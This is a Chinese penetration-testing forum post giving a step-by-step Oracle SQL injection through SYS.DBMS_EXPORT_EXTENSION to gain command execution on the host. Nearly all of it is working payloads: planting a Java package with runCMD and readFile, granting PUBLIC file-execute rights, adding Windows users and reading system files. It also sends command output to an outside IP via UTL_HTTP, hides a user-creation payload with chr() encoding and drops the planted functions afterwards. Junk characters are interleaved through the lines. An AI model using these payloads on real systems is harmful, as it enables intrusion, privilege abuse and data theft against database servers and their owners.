中国网络渗透测试联盟

标题: 实例演示oracle注入获取cmdshell的全过程 [打印本页]
作者: admin    时间: 2012-12-18 12:21
标题: 实例演示oracle注入获取cmdshell的全过程
以下的演示都是在web上的sql plus执行的，在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
9 e" p/ R2 w$ I; |2 h# g0 f. Z6 E' G! ^
　　/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) ) n" A" P* a, d3 y% i/ }
的形式即可。(用" 'a'|| "是为了让语句返回true值)
$ e0 J$ `- g" ^. F1 j语句有点长，可能要用post提交。 1 T* _, C6 U" y" L
以下是各个步骤： # A. `2 B/ w8 z" C, r, z
1.创建包
7 p; {1 g6 H6 A9 \) N; y3 ~! Z通过注入 SYS.DBMS_EXPORT_EXTENSION 函数，在oracle上创建Java包LinxUtil，里面两个函数，runCMD用于执行系统命令，readFile用于读取文件：- H+ V' e) N# z( A6 _
/xxx.jsp?id=1 and '1'<>'a'||( ' h7 A* {1 {" v- P+ w. v8 J0 a- n
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
1 G- Q: f8 X0 {) }' lcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(1 m" T& t6 ^/ r# |. f, A# c! o
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
# z# Z) X4 Z2 R8 v}'''';END;'';END;--','SYS',0,'1',0) from dual
8 s7 F/ w) _# \, j) ' V; P2 S9 e) T& m3 n8 E$ B% Z
------------------------
% ], o: N. B. A7 Y如果url有长度限制，可以把readFile()函数块去掉，即：
3 v' G& R# S$ G0 ?  J/xxx.jsp?id=1 and '1'<>'a'||(
, w, l: z7 K2 m5 `: N; M* xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# b9 u  O! M/ A0 H. N+ o1 h. [create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(- D  w% a; y0 w' g. |$ w: W0 o
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}. ^2 \0 ]% [; i. r! Q$ k+ W
}'''';END;'';END;--','SYS',0,'1',0) from dual
$ B) Z9 ~" l( }7 F0 W; p)
' c: e% K, b$ i" L同时把后面步骤 提到的 对readFile()的处理语句去掉。
+ Q; w9 H' [' {9 n3 C------------------------------
: N/ F) b1 |5 u2.赋Java权限
5 P  z/ s1 J; ^) \0 G% m! cselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual  Z) u# p9 y" Q# ?! Z
3.创建函数
9 s0 ^0 j' P9 @& v# aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 [4 K, I" I( n. v
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual$ ~9 X0 @* j2 r' |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& J6 |8 X* C$ E( A
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual( s; j; d& e- d
4.赋public执行函数的权限 - U' n9 T  J9 f1 l  s  K
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual+ Z+ I! x4 \! J5 T* R& ]7 }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual& V& b4 K: Y) A' E3 T3 Z9 U0 e& r1 {! q
5.测试上面的几步是否成功
8 B1 p) J/ w& x1 p4 ]and '1'<>'11'||(
8 b. l* ?1 y1 O% X% Hselect  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' / @. y& g% ~/ o; D
) - B2 [2 x" A8 W4 H1 i
and '1'<>(
' C$ M$ v2 F1 L& X# p+ L7 A. Lselect  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'   @9 n% k. {/ r
) . O5 A# Y' y  e" f
6.执行命令： 3 V3 u" z  w& u$ k
/xxx.jsp?id=1 and '1'<>( ; J5 B3 P. u' ]) J  H
select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
  r( G  U- D# s$ ]! i6 L- @7 F% m$ Q' ]" e
) ; u7 T9 N1 {1 x  }# u9 V
/xxx.jsp?id=1 and '1'<>(
1 Q6 T1 G6 T+ V) K" a7 @3 W( bselect  sys.LinxReadFile('c:/boot.ini') from dual
" `5 Y1 T. v; @2 M# m/ e' U+ V3 ~! x8 x! }* U  g
)
! }) y' G5 Y5 T　　/ s% J6 i' R% x9 }3 P
注意sys.LinxReadFile()返回的是varchar类型，不能用"and 1<>" 代替 "and '1'<>"。 7 z6 K) ]# `  G; \) T3 U
如果要查看运行结果可以用 union : : N' e4 n- V6 z" _7 w/ M1 t6 K5 S8 y: Y
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
- n  t2 }8 q: z' f或者UTL_HTTP.request(:
' b; U2 F& r( j8 Y8 p) \& _' O/xxx.jsp?id=1 and '1'<>(
8 {2 z8 Z: X; g% T' M1 s& ESELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual4 g6 G, p' }2 Y6 P! u: R. @; T% [8 W1 h
)
5 [* _0 u; _; Y- S* A+ p/xxx.jsp?id=1 and '1'<>( 5 R4 X: D& R9 O) Y  G) X4 G
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual! S2 r2 h$ c8 n) F3 A& ^
)
  O! y7 `# C3 d) K8 N. N$ p注意：用UTL_HTTP.request时，要用 REPLACE() 把空格、换行符给替换掉，否则会无法提交http request。用utl_encode.base64_encode也可以。
- O- T# j9 A3 S2 v2 G--------------------
- ~3 Z) \7 d" F) r5 I# o6.内部变化 ) w/ x4 h. G6 L8 w. M' A5 L; `
通过以下命令可以查看all_objects表达改变： + C" d1 P- K8 Y6 Z# K( t! d
select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
2 b% Z% ^% N# E+ B! e2 Z7.删除我们创建的函数
% J2 H, Y5 \/ O" uselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 n& U# @. a  K5 q2 _9 a; s; {
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual 9 |" v1 u9 Z4 A
====================================================
1 q4 M% L$ Z+ T/ T全文结束。谨以此文赠与我的朋友。
. q4 c) ]7 P; P$ k7 ^) x2 ?3 `linx 7 c: b  v, @0 F% a+ N
124829445 2 \! o. f+ ~9 Z3 A9 r4 \5 ^; u, ?
2008.1.12
8 W- q3 m  G* _) i$ I9 Zlinyujian@bjfu.edu.cn - J2 t2 _3 b( J9 h7 h2 _' L
======================================================================
: u! s% J( N. q- C" A9 k测试漏洞的另一方法：   a" ?" d! \9 Q& v* I* m
创建oracle帐号：
7 C4 k1 n, @* bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') X. H& z# c" {1 e+ W
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
1 B/ ^7 u. N2 X8 Z8 B) x即： ) ^0 F% N* E) Y: I
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
& h" b3 A$ R- Q( v0 Q- echr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
2 G. E  w* H+ |7 y. i% d8 `确定漏洞存在： 4 w0 J4 A9 k: f
1<>( 1 m3 M- _9 {8 @" ~: O1 f
select user_id from all_users where username='LINXSQL'
! u  i& n/ ]* Y# ~  o& O9 d) ( w0 V8 p3 V; z9 |% T) }
给linxsql连接权限： ( J/ q7 v2 y( I7 `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') X; e! d9 t8 j! Z4 \. M
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual * P) k- G. B0 m/ ^* U  n1 c
删除帐号： + i9 r3 J" g2 |* L
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! {# [/ Q4 ?7 s9 d! e, Cdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual
4 ~0 B' Z1 x6 z8 n- r$ K======================
- I0 C- s: a+ U: w6 p以下方法创建一个可以执行多语句的函数Linx_query()，执行成功的话返回数值"1"，但权限是继承的，可能仅仅是public权限，作用似乎不大，真的要用到话可以考虑grant dba to 当前的User：8 E  c4 S/ F0 U
1.jsp?id=1 and '1'<>(
0 x) R6 v* N1 H2 x4 sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, }7 {9 I' \3 ]* Y7 Kcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual
7 i% o% B* A3 e# J) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE* T. z4 f8 J8 E4 P$ _
　)
" _& u& k8 r: g) k4 k5 F1 Y6 O& V$ o) K( J- E4 E& R- n  ^
# V) h1 R! ^' y1 `$ G3 X
7 M2 `4 A0 W8 u2 K" f




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2